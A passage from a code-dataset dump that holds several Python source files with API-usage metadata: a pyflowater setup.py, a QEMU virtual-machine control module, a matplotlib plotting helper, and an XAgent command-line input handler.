55, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.lit", "line_number": 55, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.weekofyear", "line_number": 56, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 56, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 56, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.year", "line_number": 57, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 57, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 57, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.radians", "line_number": 58, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 58, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 58, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.radians", "line_number": 59, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 59, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 59, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 63, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 63, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.lit", "line_number": 63, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.month", "line_number": 64, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 64, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 64, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.year", "line_number": 65, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 65, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 65, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.radians", "line_number": 66, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 66, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 66, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.radians", "line_number": 67, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 67, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 67, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.radians", "line_number": 73, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 73, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 73, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.radians", "line_number": 74, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 74, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 74, "usage_type": "call"}, {"api_name": "users_datamart.distance", "line_number": 79, "usage_type": "call"}, {"api_name": "users_datamart.distance", "line_number": 80, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.weekofyear", "line_number": 95, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 95, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.month", "line_number": 96, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 96, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 97, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 97, "usage_type": "name"}]} {"seq_id": "11299927842", "text": "#!/usr/bin/env python\n\nimport os\nimport sys\n\nimport setuptools\n\nif sys.argv[-1] == \"publish\":\n os.system(\"python setup.py sdist upload\")\n sys.exit()\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"pyflowater\",\n version=\"0.5.2\",\n packages=[\"pyflowater\"],\n description=\"Python interface for Flo by Moen API\",\n # long_description=long_description,\n url=\"https://github.com/rsnodgrass/pyflowater\",\n author=\"Ryan Snodgrass\",\n author_email=\"rsnodgrass@gmail.com\",\n license=\"Apache Software License\",\n install_requires=[\"requests>=2.0\", \"google-cloud-firestore\"],\n keywords=[\"flo\", \"home automation\", \"water monitoring\"],\n zip_safe=True,\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: Apache Software License\",\n \"Operating System :: OS Independent\",\n ],\n)\n", "repo_name": "rsnodgrass/pyflowater", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 907, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 16, "dataset": "github-code", "pt": "70", "api": [{"api_name": "sys.argv", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 10, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 15, "usage_type": "call"}]} {"seq_id": "3593979074", "text": "import errno\nimport logging\nimport os\nimport subprocess\nimport re\nimport shutil\nimport socket\nimport tempfile\n\nfrom . import qmp\n\n\nLOG = logging.getLogger(__name__)\n\n# Mapping host architecture to any additional architectures it can\n# support which often includes its 32 bit cousin.\nADDITIONAL_ARCHES = {\n \"x86_64\" : \"i386\",\n \"aarch64\" : \"armhf\"\n}\n\ndef kvm_available(target_arch=None):\n host_arch = os.uname()[4]\n if target_arch and target_arch != host_arch:\n if target_arch != ADDITIONAL_ARCHES.get(host_arch):\n return False\n return os.access(\"/dev/kvm\", os.R_OK | os.W_OK)\n\n\n#: Maps machine types to the preferred console device types\nCONSOLE_DEV_TYPES = {\n r'^clipper$': 'isa-serial',\n r'^malta': 'isa-serial',\n r'^(pc.*|q35.*|isapc)$': 'isa-serial',\n r'^(40p|powernv|prep)$': 'isa-serial',\n r'^pseries.*': 'spapr-vty',\n r'^s390-ccw-virtio.*': 'sclpconsole',\n }\n\n\nclass QEMUMachineError(Exception):\n \"\"\"\n Exception called when an error in QEMUMachine happens.\n \"\"\"\n\n\nclass QEMUMachineAddDeviceError(QEMUMachineError):\n \"\"\"\n Exception raised when a request to add a device can not be fulfilled\n\n The failures are caused by limitations, lack of information or conflicting\n requests on the QEMUMachine methods. This exception does not represent\n failures reported by the QEMU binary itself.\n \"\"\"\n\nclass MonitorResponseError(qmp.QMPError):\n \"\"\"\n Represents erroneous QMP monitor reply\n \"\"\"\n def __init__(self, reply):\n try:\n desc = reply[\"error\"][\"desc\"]\n except KeyError:\n desc = reply\n super(MonitorResponseError, self).__init__(desc)\n self.reply = reply\n\n\nclass QEMUMachine(object):\n \"\"\"\n A QEMU VM\n\n Use this object as a context manager to ensure the QEMU process terminates::\n\n with VM(binary) as vm:\n ...\n # vm is guaranteed to be shut down here\n \"\"\"\n\n def __init__(self, binary, args=None, wrapper=None, name=None,\n test_dir=\"/var/tmp\", monitor_address=None,\n socket_scm_helper=None):\n '''\n Initialize a QEMUMachine\n\n @param binary: path to the qemu binary\n @param args: list of extra arguments\n @param wrapper: list of arguments used as prefix to qemu binary\n @param name: prefix for socket and log file names (default: qemu-PID)\n @param test_dir: where to create socket and log file\n @param monitor_address: address for QMP monitor\n @param socket_scm_helper: helper program, required for send_fd_scm()\n @note: Qemu process is not started until launch() is used.\n '''\n if args is None:\n args = []\n if wrapper is None:\n wrapper = []\n if name is None:\n name = \"qemu-%d\" % os.getpid()\n self._name = name\n self._monitor_address = monitor_address\n self._vm_monitor = None\n self._qemu_log_path = None\n self._qemu_log_file = None\n self._popen = None\n self._binary = binary\n self._args = list(args) # Force copy args in case we modify them\n self._wrapper = wrapper\n self._events = []\n self._iolog = None\n self._socket_scm_helper = socket_scm_helper\n self._qmp = None\n self._qemu_full_args = None\n self._test_dir = test_dir\n self._temp_dir = None\n self._launched = False\n self._machine = None\n self._console_device_type = None\n self._console_address = None\n self._console_socket = None\n\n # just in case logging wasn't configured by the main script:\n logging.basicConfig()\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.shutdown()\n return False\n\n # This can be used to add an unused monitor instance.\n def add_monitor_null(self):\n self._args.append('-monitor')\n self._args.append('null')\n\n def add_fd(self, fd, fdset, opaque, opts=''):\n \"\"\"\n Pass a file descriptor to the VM\n \"\"\"\n options = ['fd=%d' % fd,\n 'set=%d' % fdset,\n 'opaque=%s' % opaque]\n if opts:\n options.append(opts)\n\n # This did not exist before 3.4, but since then it is\n # mandatory for our purpose\n if hasattr(os, 'set_inheritable'):\n os.set_inheritable(fd, True)\n\n self._args.append('-add-fd')\n self._args.append(','.join(options))\n return self\n\n # Exactly one of fd and file_path must be given.\n # (If it is file_path, the helper will open that file and pass its\n # own fd)\n def send_fd_scm(self, fd=None, file_path=None):\n # In iotest.py, the qmp should always use unix socket.\n assert self._qmp.is_scm_available()\n if self._socket_scm_helper is None:\n raise QEMUMachineError(\"No path to socket_scm_helper set\")\n if not os.path.exists(self._socket_scm_helper):\n raise QEMUMachineError(\"%s does not exist\" %\n self._socket_scm_helper)\n\n # This did not exist before 3.4, but since then it is\n # mandatory for our purpose\n if hasattr(os, 'set_inheritable'):\n os.set_inheritable(self._qmp.get_sock_fd(), True)\n if fd is not None:\n os.set_inheritable(fd, True)\n\n fd_param = [\"%s\" % self._socket_scm_helper,\n \"%d\" % self._qmp.get_sock_fd()]\n\n if file_path is not None:\n assert fd is None\n fd_param.append(file_path)\n else:\n assert fd is not None\n fd_param.append(str(fd))\n\n devnull = open(os.path.devnull, 'rb')\n proc = subprocess.Popen(fd_param, stdin=devnull, stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT, close_fds=False)\n output = proc.communicate()[0]\n if output:\n LOG.debug(output)\n\n return proc.returncode\n\n @staticmethod\n def _remove_if_exists(path):\n \"\"\"\n Remove file object at path if it exists\n \"\"\"\n try:\n os.remove(path)\n except OSError as exception:\n if exception.errno == errno.ENOENT:\n return\n raise\n\n def is_running(self):\n return self._popen is not None and self._popen.poll() is None\n\n def exitcode(self):\n if self._popen is None:\n return None\n return self._popen.poll()\n\n def get_pid(self):\n if not self.is_running():\n return None\n return self._popen.pid\n\n def _load_io_log(self):\n if self._qemu_log_path is not None:\n with open(self._qemu_log_path, \"r\") as iolog:\n self._iolog = iolog.read()\n\n def _base_args(self):\n if isinstance(self._monitor_address, tuple):\n moncdev = \"socket,id=mon,host=%s,port=%s\" % (\n self._monitor_address[0],\n self._monitor_address[1])\n else:\n moncdev = 'socket,id=mon,path=%s' % self._vm_monitor\n args = ['-chardev', moncdev,\n '-mon', 'chardev=mon,mode=control',\n '-display', 'none', '-vga', 'none']\n if self._machine is not None:\n args.extend(['-machine', self._machine])\n if self._console_device_type is not None:\n self._console_address = os.path.join(self._temp_dir,\n self._name + \"-console.sock\")\n chardev = ('socket,id=console,path=%s,server,nowait' %\n self._console_address)\n device = '%s,chardev=console' % self._console_device_type\n args.extend(['-chardev', chardev, '-device', device])\n return args\n\n def _pre_launch(self):\n self._temp_dir = tempfile.mkdtemp(dir=self._test_dir)\n if self._monitor_address is not None:\n self._vm_monitor = self._monitor_address\n else:\n self._vm_monitor = os.path.join(self._temp_dir,\n self._name + \"-monitor.sock\")\n self._qemu_log_path = os.path.join(self._temp_dir, self._name + \".log\")\n self._qemu_log_file = open(self._qemu_log_path, 'wb')\n\n self._qmp = qmp.QEMUMonitorProtocol(self._vm_monitor,\n server=True)\n\n def _post_launch(self):\n self._qmp.accept()\n\n def _post_shutdown(self):\n if self._qemu_log_file is not None:\n self._qemu_log_file.close()\n self._qemu_log_file = None\n\n self._qemu_log_path = None\n\n if self._console_socket is not None:\n self._console_socket.close()\n self._console_socket = None\n\n if self._temp_dir is not None:\n shutil.rmtree(self._temp_dir)\n self._temp_dir = None\n\n def launch(self):\n \"\"\"\n Launch the VM and make sure we cleanup and expose the\n command line/output in case of exception\n \"\"\"\n\n if self._launched:\n raise QEMUMachineError('VM already launched')\n\n self._iolog = None\n self._qemu_full_args = None\n try:\n self._launch()\n self._launched = True\n except:\n self.shutdown()\n\n LOG.debug('Error launching VM')\n if self._qemu_full_args:\n LOG.debug('Command: %r', ' '.join(self._qemu_full_args))\n if self._iolog:\n LOG.debug('Output: %r', self._iolog)\n raise\n\n def _launch(self):\n \"\"\"\n Launch the VM and establish a QMP connection\n \"\"\"\n devnull = open(os.path.devnull, 'rb')\n self._pre_launch()\n self._qemu_full_args = (self._wrapper + [self._binary] +\n self._base_args() + self._args)\n LOG.debug('VM launch command: %r', ' '.join(self._qemu_full_args))\n self._popen = subprocess.Popen(self._qemu_full_args,\n stdin=devnull,\n stdout=self._qemu_log_file,\n stderr=subprocess.STDOUT,\n shell=False,\n close_fds=False)\n self._post_launch()\n\n def wait(self):\n \"\"\"\n Wait for the VM to power off\n \"\"\"\n self._popen.wait()\n self._qmp.close()\n self._load_io_log()\n self._post_shutdown()\n\n def shutdown(self):\n \"\"\"\n Terminate the VM and clean up\n \"\"\"\n if self.is_running():\n try:\n self._qmp.cmd('quit')\n self._qmp.close()\n except:\n self._popen.kill()\n self._popen.wait()\n\n self._load_io_log()\n self._post_shutdown()\n\n exitcode = self.exitcode()\n if exitcode is not None and exitcode < 0:\n msg = 'qemu received signal %i: %s'\n if self._qemu_full_args:\n command = ' '.join(self._qemu_full_args)\n else:\n command = ''\n LOG.warn(msg, -exitcode, command)\n\n self._launched = False\n\n def qmp(self, cmd, conv_keys=True, **args):\n \"\"\"\n Invoke a QMP command and return the response dict\n \"\"\"\n qmp_args = dict()\n for key, value in args.items():\n if conv_keys:\n qmp_args[key.replace('_', '-')] = value\n else:\n qmp_args[key] = value\n\n return self._qmp.cmd(cmd, args=qmp_args)\n\n def command(self, cmd, conv_keys=True, **args):\n \"\"\"\n Invoke a QMP command.\n On success return the response dict.\n On failure raise an exception.\n \"\"\"\n reply = self.qmp(cmd, conv_keys, **args)\n if reply is None:\n raise qmp.QMPError(\"Monitor is closed\")\n if \"error\" in reply:\n raise MonitorResponseError(reply)\n return reply[\"return\"]\n\n def get_qmp_event(self, wait=False):\n \"\"\"\n Poll for one queued QMP events and return it\n \"\"\"\n if len(self._events) > 0:\n return self._events.pop(0)\n return self._qmp.pull_event(wait=wait)\n\n def get_qmp_events(self, wait=False):\n \"\"\"\n Poll for queued QMP events and return a list of dicts\n \"\"\"\n events = self._qmp.get_events(wait=wait)\n events.extend(self._events)\n del self._events[:]\n self._qmp.clear_events()\n return events\n\n def event_wait(self, name, timeout=60.0, match=None):\n \"\"\"\n Wait for specified timeout on named event in QMP; optionally filter\n results by match.\n\n The 'match' is checked to be a recursive subset of the 'event'; skips\n branch processing on match's value None\n {\"foo\": {\"bar\": 1}} matches {\"foo\": None}\n {\"foo\": {\"bar\": 1}} does not matches {\"foo\": {\"baz\": None}}\n \"\"\"\n def event_match(event, match=None):\n if match is None:\n return True\n\n for key in match:\n if key in event:\n if isinstance(event[key], dict):\n if not event_match(event[key], match[key]):\n return False\n elif event[key] != match[key]:\n return False\n else:\n return False\n\n return True\n\n # Search cached events\n for event in self._events:\n if (event['event'] == name) and event_match(event, match):\n self._events.remove(event)\n return event\n\n # Poll for new events\n while True:\n event = self._qmp.pull_event(wait=timeout)\n if (event['event'] == name) and event_match(event, match):\n return event\n self._events.append(event)\n\n return None\n\n def get_log(self):\n \"\"\"\n After self.shutdown or failed qemu execution, this returns the output\n of the qemu process.\n \"\"\"\n return self._iolog\n\n def add_args(self, *args):\n \"\"\"\n Adds to the list of extra arguments to be given to the QEMU binary\n \"\"\"\n self._args.extend(args)\n\n def set_machine(self, machine_type):\n \"\"\"\n Sets the machine type\n\n If set, the machine type will be added to the base arguments\n of the resulting QEMU command line.\n \"\"\"\n self._machine = machine_type\n\n def set_console(self, device_type=None):\n \"\"\"\n Sets the device type for a console device\n\n If set, the console device and a backing character device will\n be added to the base arguments of the resulting QEMU command\n line.\n\n This is a convenience method that will either use the provided\n device type, of if not given, it will used the device type set\n on CONSOLE_DEV_TYPES.\n\n The actual setting of command line arguments will be be done at\n machine launch time, as it depends on the temporary directory\n to be created.\n\n @param device_type: the device type, such as \"isa-serial\"\n @raises: QEMUMachineAddDeviceError if the device type is not given\n and can not be determined.\n \"\"\"\n if device_type is None:\n if self._machine is None:\n raise QEMUMachineAddDeviceError(\"Can not add a console device:\"\n \" QEMU instance without a \"\n \"defined machine type\")\n for regex, device in CONSOLE_DEV_TYPES.items():\n if re.match(regex, self._machine):\n device_type = device\n break\n if device_type is None:\n raise QEMUMachineAddDeviceError(\"Can not add a console device:\"\n \" no matching console device \"\n \"type definition\")\n self._console_device_type = device_type\n\n @property\n def console_socket(self):\n \"\"\"\n Returns a socket connected to the console\n \"\"\"\n if self._console_socket is None:\n self._console_socket = socket.socket(socket.AF_UNIX,\n socket.SOCK_STREAM)\n self._console_socket.connect(self._console_address)\n return self._console_socket\n", "repo_name": "Cisco-Talos/pyrebox", "sub_path": "qemu/python/qemu/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 16571, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1624, "dataset": "github-code", "pt": "70", "api": [{"api_name": "logging.getLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "os.uname", "line_number": 23, "usage_type": "call"}, {"api_name": "os.access", "line_number": 27, "usage_type": "call"}, {"api_name": "os.R_OK", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.W_OK", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.getpid", "line_number": 100, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 124, "usage_type": "call"}, {"api_name": "os.set_inheritable", "line_number": 151, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 165, "usage_type": "call"}, {"api_name": "os.path", "line_number": 165, "usage_type": "attribute"}, {"api_name": "os.set_inheritable", "line_number": 172, "usage_type": "call"}, {"api_name": "os.set_inheritable", "line_number": 174, "usage_type": "call"}, {"api_name": "os.path", "line_number": 186, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 187, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 187, "usage_type": "attribute"}, {"api_name": "subprocess.STDOUT", "line_number": 188, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 201, "usage_type": "call"}, {"api_name": "errno.ENOENT", "line_number": 203, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 238, "usage_type": "call"}, {"api_name": "os.path", "line_number": 238, "usage_type": "attribute"}, {"api_name": "tempfile.mkdtemp", "line_number": 247, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 251, "usage_type": "call"}, {"api_name": "os.path", "line_number": 251, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 253, "usage_type": "call"}, {"api_name": "os.path", "line_number": 253, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 274, "usage_type": "call"}, {"api_name": "os.path", "line_number": 305, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 310, "usage_type": "call"}, {"api_name": "subprocess.STDOUT", "line_number": 313, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 486, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 501, "usage_type": "call"}, {"api_name": "socket.AF_UNIX", "line_number": 501, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 502, "usage_type": "attribute"}]} {"seq_id": "43534394362", "text": "import numpy as np\nfrom matplotlib import pyplot as plt\nimport os\nfrom . import settings\n\nplt.rcParams['font.sans-serif'] = ['Microsoft YaHei'] # 用来正常显示中文标签\nplt.rcParams['axes.unicode_minus'] = False # 用来正常显示负号\nplt.rcParams['figure.dpi'] = 300 # 分辨率\nplt.rcParams['figure.figsize'] = (5.771, 5.771 * 0.618) # 图片大小，单位是inches\nnp.set_printoptions(edgeitems=30, linewidth=200000) # 输出不换行\nnp.set_printoptions(precision=2, suppress=True) # 精度，不使用科学计数\nnp.set_printoptions(threshold=np.inf) # 过多的行，不会变成省略号\n\n\ndef check_and_set_ticks(axes, xticks, yticks):\n xticks is not None and axes.xaxis.set_ticks(xticks)\n xticks is not None and axes.xaxis.limit_range_for_scale(min(xticks), max(xticks))\n yticks is not None and axes.yaxis.set_ticks(yticks)\n yticks is not None and axes.yaxis.limit_range_for_scale(min(yticks), max(yticks))\n\n\ndef plot_line(\n x, y, *args, figure: plt.Figure = None, axes: plt.Axes = None,\n xticks=None, yticks=None, xlabel=None, ylabel=None, **kwargs):\n figure: plt.Figure = plt.gcf() if figure is None else figure\n axes: plt.Axes = plt.gca() if axes is None else axes\n\n # 设置刻度\n check_and_set_ticks(axes, xticks, yticks)\n\n xlabel is None or axes.set_xlabel(xlabel)\n ylabel is None or axes.set_ylabel(ylabel)\n\n axes.plot(x, y, *args, **kwargs)\n return figure\n\n\ndef plot_surface(\n data, show_colorbar=True, extent=None, vmin=None, vmax=None, xticks=None, yticks=None,\n axes: plt.Axes = None, figure: plt.Figure = None, reverse=True):\n assert len(set(map(len, data))) == 1\n # 对数据进行倒序，以保证初值在最下边\n if reverse:\n data = data[::-1]\n # 获取图像和坐标轴对象\n figure = plt.figure() if figure is None else figure\n axes = plt.axes() if axes is None else axes\n # 计算最大值和最小值\n vmin = vmin is None and np.min(np.min(data)) or vmin\n vmax = vmax is None and np.max(np.max(data)) or vmax\n # 设置刻度\n check_and_set_ticks(axes, xticks, yticks)\n # 计算图像范围\n if not extent:\n if xticks is not None and yticks is not None:\n extent = (min(xticks), max(xticks), min(yticks), max(yticks))\n else:\n extent = (-1, 1, -1, 1)\n # 绘制二维图\n image = axes.imshow(\n data, vmin=vmin, vmax=vmax, interpolation='nearest',\n cmap=plt.cm.jet, extent=extent, aspect='auto')\n # 显示彩虹条图例\n if show_colorbar:\n plt.colorbar(image, ax=axes)\n\n return figure\n\n\ndef get_figure_path(file_name):\n path = os.path.join(settings.FIGURE_PATH, file_name)\n dir_name = os.path.dirname(path)\n os.path.exists(dir_name) or os.makedirs(dir_name)\n return path\n", "repo_name": "panhaoyu/finite_difference_homework", "sub_path": "core/plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 2817, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "matplotlib.pyplot.rcParams", "line_number": 6, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 6, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 7, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 8, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 8, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 9, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 9, "usage_type": "name"}, {"api_name": "numpy.set_printoptions", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.set_printoptions", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.set_printoptions", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 12, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.Figure", "line_number": 23, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Axes", "line_number": 23, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.Figure", "line_number": 25, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.Axes", "line_number": 26, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.Axes", "line_number": 40, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Figure", "line_number": 40, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axes", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 62, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 73, "usage_type": "call"}]} {"seq_id": "20909525280", "text": "import asyncio\nimport functools\nimport time\nfrom colorama import Fore\nfrom XAgentServer.exts.exception_ext import XAgentTimeoutError, XAgentCloseError\n\nfrom inputimeout import inputimeout, TimeoutOccurred\nfrom XAgentServer.application.global_val import redis\nimport math\n\n\ndef timer(func):\n \"\"\"\n Decorator function to time the execution of a function.\n\n Args:\n func (Function): The function to be timed.\n\n Returns:\n wrapper (Function): The wrapped function with added timing functionality.\n \"\"\"\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n try:\n start_time = time.time()\n result = func(*args, **kwargs)\n end_time = time.time()\n except:\n pass\n return wrapper\n\n\nclass CommandLineInput:\n \"\"\"\n Class for handling command line input.\n\n This child class extends from BaseInput and implements methods to handle and manage command line input data.\n\n Attributes:\n do_interrupt (bool): If True, input will be interrupted.\n max_wait_seconds (int): Maximum wait time for input in seconds.\n \"\"\"\n def __init__(self,\n do_interrupt: bool = False,\n max_wait_seconds: int = 600,\n logger=None):\n self.do_interrupt = do_interrupt\n self.max_wait_seconds = max_wait_seconds\n self.logger = logger\n\n def run(self, input_data):\n \"\"\"\n Run the command line input method.\n\n Args:\n input_data (Any): The original input data to be processed.\n\n Returns:\n data (Any): The processed input data.\n \"\"\"\n if self.do_interrupt:\n data = self.interrupt(input_data)\n else:\n data = input_data\n return data\n \n def get_each_input(self, key, value, res, timeout):\n \"\"\"\n Returns the input from the command line for a single key-value pair.\n\n Args:\n key (str): The key for which to get input.\n value (Any): The current value associated with the key.\n res (dict): The result dictionary where inputs collected will be stored.\n timeout (int): Timeout in seconds for the input.\n\n Returns:\n Any: The input data.\n \"\"\"\n self.logger.typewriter_log(\n f\"Now, ASK For {key}, Origin Input: {value}\",\n Fore.RED,\n f\"\"\n )\n self.logger.typewriter_log(\n f\"Now, you can modify the current field by entering some information, and then press 'Enter' to continue, if you want to keep the original input, please enter '-1' and then press 'Enter':\",\n Fore.GREEN\n )\n temp = inputimeout(prompt=f'You have {timeout} seconds to input:\\n', timeout=timeout)\n if temp == \"-1\":\n return value\n else:\n return temp\n \n def get_input(self, origin_data):\n \"\"\"\n Get input for all fields of the original data from the command line.\n\n Args:\n origin_data (dict): The original data for which to get input.\n\n Returns:\n dict: The dictionary with updated inputs.\n \"\"\"\n self.logger.typewriter_log(\n \"Next, you can start modifying the original input by typing 'Y/y/yes' or skip this step by typing 'N/n/no' and then press 'Enter' to continue the loop:\",\n Fore.RED\n )\n update = inputimeout(prompt=f'You have to make a decision within 60 seconds:\\n', timeout=60)\n res = {\"args\": {}}\n if update in ['y', 'Y', 'yes']:\n execute_time = self.max_wait_seconds\n if isinstance(origin_data, dict):\n args = origin_data.get(\"args\", \"\")\n self.logger.typewriter_log(\n f\"Next, you will have a total of {self.max_wait_seconds} seconds to modify each option:\",\n Fore.RED,\n )\n for key, value in args.items():\n if key == \"done\":\n res[key] = False\n continue\n start_time = time.time()\n res[\"args\"][key] = self.get_each_input(key, value, res, execute_time)\n end_time = time.time()\n execute_time = math.floor(execute_time - (end_time - start_time))\n self.logger.info(f\"modify the input, receive the data: {res}\")\n else:\n res = origin_data\n self.logger.info(\"skip this step\")\n self.logger.info(\"continue the loop\")\n res[\"done\"] = True\n return res\n \n def interrupt(self, input_data):\n \"\"\"\n Interrupts the current input process and returns the current data.\n\n Args:\n input_data (dict): The original input data.\n\n Returns:\n dict: The current data collected so far.\n\n Raises:\n XAgentIOTimeoutError: If the input times out.\n \"\"\"\n try:\n data = self.get_input(input_data)\n return data\n except TimeoutOccurred:\n self.logger.error(f\"Waiting timemout, close connection!\")\n raise XAgentTimeoutError(\"timeout!\")", "repo_name": "OpenBMB/XAgent", "sub_path": "command_input.py", "file_name": "command_input.py", "file_ext": "py", "file_size_in_byte": 5210, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5504, "dataset": "github-code", "pt": "70", "api": [{"api_name": "time.time", "line_number": 25, "usage_type": "call"}, {"api_name": "time.time", "line_number": 27, "usage_type": "call"}, {"api_name": "functools.wraps", "line_number": 22, "usage_type": "call"}, {"api_name": "colorama.Fore.RED", "line_number": 82, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 82, "usage_type": "name"}, {"api_name": "colorama.Fore.GREEN", "line_number": 87, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 87, "usage_type": "name"}, {"api_name": "inputimeout.inputimeout", "line_number": 89, "usage_type": "call"}, {"api_name": "colorama.Fore.RED", "line_number": 107, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 107, "usage_type": "name"}, {"api_name": "inputimeout.inputimeout", "line_number": 109, "usage_type": "call"}, {"api_name": "colorama.Fore.RED", "line_number": 117, "usage_type": "attribute"}, 